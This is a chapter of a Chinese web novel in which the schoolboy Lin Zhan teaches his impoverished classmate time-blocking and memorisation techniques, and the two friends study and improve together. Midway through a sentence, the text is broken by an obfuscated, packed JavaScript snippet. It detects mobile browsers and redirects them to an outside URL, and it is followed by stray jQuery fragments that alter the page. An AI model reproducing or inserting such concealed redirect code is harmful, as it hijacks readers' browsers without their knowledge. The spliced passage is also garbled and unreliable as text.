家里那番关于“攒钱科举”的决议，像一道无声的鞭子，抽在了每个人的心上，也落在了林湛的肩上。他读书更刻苦了，沙盘上的字迹越发工稳，向孙夫子请教的问题也越发刁钻深入。但他发现，自己那位沉默的挚友周文渊，眉宇间的郁色似乎比以往更重了几分，本就清瘦的身形在宽大的旧衫里显得更加单薄，眼底偶尔会掠过一丝难以掩饰的疲惫。
这日午休，其他人都跑出去透气或回家，学堂里又只剩下林湛和周文渊。周文渊依旧在位置上，对着《孟子》中一段关于“养气”的艰深篇章苦思冥想，嘴里无声默念，手指无意识地在桌上划着，额角渗出细密的汗珠。
林湛走过去，将王记杂货铺掌柜送的点心掰开一小块，递过去：“周师兄，歇会儿吧。这点心虽不顶饿，也能甜甜嘴。”
周文渊恍然回神，看到点心，先是一愣，随即不好意思地推拒：“林师弟，你留着吃……”
“我还有。”林湛不由分说塞到他手里，顺势在他旁边坐下，看着他面前摊开的书和旁边写得密密麻麻、涂改甚多的草稿纸，“师兄最近……好像很累？可是这段‘浩然之气’太难解？”
周文渊苦笑，小心地咬了一小口点心，细嚼慢咽下去，才低声道：“难解倒在其次。只是……总觉得时间不够用。白日要听夫子讲课，要练字，要温习；晚上家中无灯油，只能就着月光或灶火余光看一会儿，看不了几行就昏花了眼。想多记些，多背些，可今日背了，明日又忘些许。眼看时日蹉跎，心中焦急，越是焦急，越是记不牢靠，仿佛……仿佛掉进了一个漩涡。” 他说着，清瘦的脸上露出少见的沮丧。
林湛明白了。周文渊家贫，学习条件比他还差，全凭一股狠劲在支撑。但这种只靠延长苦熬时间、缺乏方法和效率的学习，确实容易陷入“疲劳战”和“记忆反复”的泥潭。
他想起自己之前用在铁柱和自家生活上的“格子计划”和效率思维。知识学习，同样需要管理，需要方法。
“周师兄，”林湛捡起一根树枝，在旁边的沙盘上划拉起来，“你觉得咱们一天的时间，像不像一个漏壶？就那么大，水（时间）就那么多。如果壶底漏眼大小不一，或者堵了，水流得不顺畅，就算壶再满，接到的水（学到的东西）也有限，还浪费。”
周文渊被这个比喻吸引了，看着沙盘上林湛画的简易漏壶图。
“咱们现在，就好比把漏壶的所有水，都从一个可能被杂物堵住的、歪歪扭扭的大口子倒出去，看着水流得猛，其实漏得到处都是，接住的少。”林湛继续道，“要是能把壶底分成几个小格子，每个格子对准一个小漏眼，什么时候倒哪一格的水（什么时间学什么），漏眼多大（学多久、多专注），心里都有数，是不是接到的水就多，还省力？”
他说的，其实就是简单的时间区块管理和任务优先级分配，用古代孩童能理解的“漏壶分格”来比喻。
周文渊眼睛微微睁大：“分格？对准漏眼？林师弟是说……把要学的东西，排个先后次序，定个时辰专攻一样？”
“对！”林湛点头，在沙盘上画了几个格子，标上“晨诵”、“午温”、“暮习”、“夜思（有条件的话）”。“比如，早上精神最好，就专攻最难背的新篇章，像攻城拔寨。下午温习旧的，查漏补缺，像清扫战场。晚上若有点光亮，就静静思考白日所学，想想其中的道理关联，像清点缴获。不同的‘格子’里，心思就专想那一格的事，别让‘攻城’的兵跑到‘清扫’的队伍里捣乱。”
他见周文渊听得认真，又补充道：“还有记诵。别总是一遍遍从头念到尾。可以试试‘首字提示法’——把每句开头一两个字记住，像牵住了线头。或者‘分段蚕食法’——一大段拆成几小块，一块一块啃下来，再连起来。还有‘睡前过电影’——躺下后，把今天学的东西，在脑子里像看皮影戏一样过一遍，哪里卡住了，明天重点看哪里。”
这些都是基于记忆规律的高效学习法，林湛用最形象的说法包装出来。
周文渊听得入了神，手中的点心都忘了吃。他从未想过，读书除了“苦读死记”，竟还有这么多“窍门”！这些法子听起来简单，却直指他眼下困境的核心——无序、低效、易忘。
“林师弟，这……这些法子，你是如何想到的？”周文渊声音有些发颤。
“瞎琢磨的。”林湛笑道，“就像捡柴，知道哪片林子柴多好捡，就先去哪片，省时省力。读书也一样，得知道自己的‘林子’（时间精力）和‘柴火’（知识）该怎么分配。师兄不妨试试？就从明天开始，咱们一起把每天的‘格子’画出来，互相监督？”
周文渊看着沙盘上那些清晰的格子和林湛真诚的眼神，心中涌起一股暖流，重重地点头：“好！我试！多谢师弟指点！”
从第二天起，乡塾里便多了一道风景。每天清晨，林湛和周文渊会早早碰头，用树枝在僻静处的地上划出简单的“日课格子”，商定当日主攻和辅修内容。上课时，两人更加专注，因为知道这个“格子”的时间专属于听讲。午休时，他们不再盲目啃书，而是按计划温习或讨论疑难。放学后，也会简单复盘，约定晚上各自“过电影”的内容。
周文渊严格按照林湛说的方法尝试。他将难背的篇章拆解，用首字串联；强迫自己在特定“格子”时间里只思考一件事；晚上哪怕只有灶膛里微弱的火光，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179282|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也努力回忆白天所学。起初有些不习惯，总觉得被“格子”束缚，但几天下来，他惊喜地发现，以前需要反复背很多遍才能勉强记住的内容，现在用的时间少了，记得却更牢了！那种萦绕不去的焦虑和疲惫感，也减轻了许多。
更让他感动的是，林湛并非只说不做。两人常常互相抽背，林湛会用他那些稀奇古怪的比喻和联想，帮周文渊加深理解；周文渊扎实的经义功底和清晰的逻辑，也能帮林湛完善对一些复杂概念的认识。他们像两个互补的齿轮，在“格子”规划好的节奏里，紧密咬合，共同向前。
一次，孙夫子布置了一篇关于“井田制”利弊的短论。周文渊从经典注疏和父亲手札中寻找依据，写得引经据典，条理分明。林湛则在承认其历史合理性的同时，结合自己对当下农村土地状况的观察，提出了“井田古制虽善，然时移世易，人口滋生，土地兼并难遏，或需因时制宜，重在均平赋役、抑制豪强”的观点，虽显稚嫩，却视角新颖。两人交换草稿，周文渊帮林湛修正了几处史实引用和表述，林湛则帮周文渊将一些过于迂阔的论述落到实处。最终两篇短论皆得孙夫子好评，称前者“根基扎实”，赞后者“独具只眼”。
李茂才冷眼看着这两人日益默契的互动和不断提升的学业，心里那点酸涩越发浓重。他试图模仿那种“格子”学习法，却静不下心，总被杂念干扰，收效甚微，反而更添烦躁。
这一日散学后，周文渊没有立刻离开。他走到正在收拾书袋的林湛面前，从怀里掏出一小卷用油纸仔细包好的东西，递给林湛。
“林师弟，”周文渊的声音比往常轻快了些，“这是我娘……用旧衣裳改的一个笔袋，虽然粗陋，但能装下你的笔和那几块墨。还有……这是我昨晚对《尚书·洪范》中‘五行’与‘五事’关联的一点心得，胡乱写的，你……看看可否？”
林湛接过，那笔袋用的是最粗的麻布，针脚细密，显然费了不少功夫。里面除了他借给周文渊的父亲手札，还有一张叠得整整齐齐的纸，上面是周文渊清秀工整的字迹，写满了思考。
“周师兄……”林湛心里热乎乎的，他知道，对于周家而言，一块好布、一点灯油、一张纸都极其珍贵。这笔袋和心得，分量太重。
“师弟莫要推辞。”周文渊脸上露出难得的、干净的笑容，“若无师弟的‘漏壶格子’之法，我此刻恐怕还在焦头烂额，徒耗灯油。些许心意，不足挂齿。你我二人，日后当继续互为‘漏壶’之眼，彼此校准，方不负光阴，不负……这同窗之道。” 他说到最后，语气郑重。
林湛握紧了那粗布笔袋和带着墨香的纸卷，也笑了：“好！互为漏壶之眼，校准光阴！”